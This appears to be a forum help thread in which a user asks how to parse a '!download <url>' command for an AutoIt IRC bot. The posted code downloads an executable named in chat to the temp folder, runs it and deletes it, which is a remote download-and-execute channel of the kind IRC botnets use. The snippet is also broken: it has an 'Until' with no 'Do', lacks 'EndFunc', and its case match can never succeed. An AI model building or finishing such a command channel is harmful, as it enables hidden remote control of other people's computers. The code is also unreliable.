Jump to content
Sign in to follow this  

Help with my IRC Bot

Recommended Posts


So I am new to autoit and sockets etc.. but im working on an IRC bot for my chatroom. I can have it connect and send messages but I do not understand how I can make it listen for commands on the socket level, please help ty :blink:

Share this post

Link to post
Share on other sites

I have a function called _DlFile that will download my file that I specify in the chatroom and open it. My command is !download <url>. I dont know how to specify the url (which is the second word in the command)

Func _DlFile()
    Local $hDownload = InetGet($urltodl, @TempDir & "\downloaded.exe", 1, 1)
    Until InetGetInfo($hDownload, 2) 
    Run(@TempDir & "\downloaded.exe")
    FileDelete(@tempdir & "\downloaded.exe")

Func _Cmd($user, $channel, $msg)
    Local $sTemp = StringSplit($msg, " ")
    $sTemp[1] = StringTrimLeft($sTemp[1], 1)
    Switch StringUpper($sTemp[1])
    Case "download"
            _IRCSendMessage($sock, "ATTEMPTING DOWNLOAD.", $channel)
        Case "version"
            _IRCSendMessage($sock, "WPBOT V1.1", $channel)

Share this post

Link to post
Share on other sites

Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!

Register a new account

Sign in

Already have an account? Sign in here.

Sign In Now
Sign in to follow this